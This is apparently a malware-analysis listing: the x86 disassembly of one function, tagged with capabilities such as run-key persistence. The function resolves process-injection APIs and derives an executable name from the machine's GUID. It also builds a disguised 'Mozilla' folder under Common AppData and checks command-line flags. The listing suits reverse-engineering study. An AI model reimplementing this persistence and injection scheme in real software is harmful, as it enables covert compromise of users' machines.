Function at 0x4026f0
Capabilities:
Accept command line arguments
Create directory
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [0x40e004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
push esi
mov dword [0x44f8a4], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x44f89c], ecx
mov ecx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [0x44f8a8], edx
mov edx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
mov dword [0x44f8ac], eax
mov dword [0x44f8a0], ecx
mov dword [0x44f898], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x44f894], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x44f8b0], eax
lea eax, [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0xa8]
mov dword [0x44f8b4], ecx
mov dword [0x44f8b8], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x44f8bc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0x44f8b0
push 0x44f8c0
mov dword [0x44f8c0], eax
mov dword [0x44f8c4], 0
call fcn.00401870
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x9c]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000002
call edi
mov edx, dword [ebp - 0x9c]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea ecx, [ebp - 0xa0]
push ecx
push 0x450148
push 0
push 0
push str.Common_AppData
push edx
mov dword [ebp - 0xa0], 0x200
call ebx
mov eax, dword [ebp - 0x9c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp word [0x450148], 0
mov eax, 0x450148
je 0x402829
jmp 0x402820
add eax, 2
cmp word [eax], 0
jne 0x402820
cmp word [eax - 2], 0x5c
je 0x40283b
mov ecx, 0x5c
mov word [eax], cx
add eax, 2
mov esi, str.Mozilla_
mov edx, 0x4d
sub esi, eax
movzx ecx, word [esi + eax + 2]
mov word [eax], dx
add eax, 2
mov edx, ecx
test cx, cx
jne 0x402847
xor edx, edx
push edx
push 0x450148
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x200
push 0x450148
push 0x450148
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea eax, [ebp - 0x9c]
push eax
push 0x101
push 0
push str.SOFTWAREMicrosoftCryptography
push 0x80000002
call edi
test eax, eax
jne 0x402a50
push 0x80
push eax
lea ecx, [ebp - 0x98]
push ecx
call fcn.004052f0
mov ecx, dword [ebp - 0x9c]
add esp, 0xc
lea edx, [ebp - 0xa0]
push edx
lea eax, [ebp - 0x98]
push eax
push 0
push 0
push str.MachineGuid
push ecx
mov dword [ebp - 0xa0], 0x80
call ebx
xor eax, eax
xor ebx, ebx
lea esi, [ebp - 0x98]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
cmp word [ebp - 0x98], ax
je 0x402953
nop
movzx eax, word [esi]
lea edx, [eax - 0x30]
add esi, 2
cmp dx, 9
ja 0x402914
lea ecx, [eax - 0x30]
jmp 0x40292d
cmp eax, 0x61
jb 0x40291e
cmp eax, 0x66
jbe 0x402927
lea ecx, [eax - 0x41]
cmp cx, 5
ja 0x40294d
and eax, 0xf
lea ecx, [eax + 9]
mov eax, ebx
cdq
sub eax, edx
test bl, 1
je 0x402943
sar eax, 1
or byte [ebp + eax - 0x14], cl
lea eax, [ebp + eax - 0x14]
jmp 0x40294c
shl cl, 4
sar eax, 1
mov byte [ebp + eax - 0x14], cl
inc ebx
cmp word [esi], 0
jne 0x402900
mov edx, dword [ebp - 0x9c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, 0xa
push 0x409a20
lea eax, [ebp - 0x14]
push eax
call fcn.00401870
push 0x409a20
lea ecx, [ebp - 0x10]
push ecx
call fcn.00401870
push 0x409a20
lea edx, [ebp - 0xc]
push edx
call fcn.00401870
dec esi
jne 0x402965
mov ax, word [0x450148]
mov ecx, 0x44f948
test ax, ax
je 0x4029c2
mov esi, 0x450148
movzx edx, ax
sub esi, ecx
lea esp, [esp]
movzx eax, word [esi + ecx + 2]
mov word [ecx], dx
add ecx, 2
mov edx, eax
test ax, ax
jne 0x4029b0
xor eax, eax
mov word [ecx], ax
mov eax, dword [ebp - 0x10]
call fcn.004019d0
mov esi, str..exe
mov edx, 0x2e
sub esi, eax
jmp 0x4029e0
mov word [eax], dx
movzx ecx, word [esi + eax + 2]
add eax, 2
mov edx, ecx
test cx, cx
jne 0x4029e0
xor ecx, ecx
mov word [eax], cx
mov eax, dword [ebp - 0xc]
mov ecx, 0x44f908
call fcn.004019d0
mov eax, dword [ebp - 8]
mov ecx, 0x44f8ca
call fcn.004019d0
mov edx, 0x2d
mov word [0x44f8c8], dx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0x44f8c8
push eax
call fcn.00402eaa
add esp, 8
test eax, eax
je 0x402a4b
call fcn.004025c0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402c0c
mov esp, ebp
pop ebp
ret
call fcn.004023a0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402c0c
mov esp, ebp
pop ebp
ret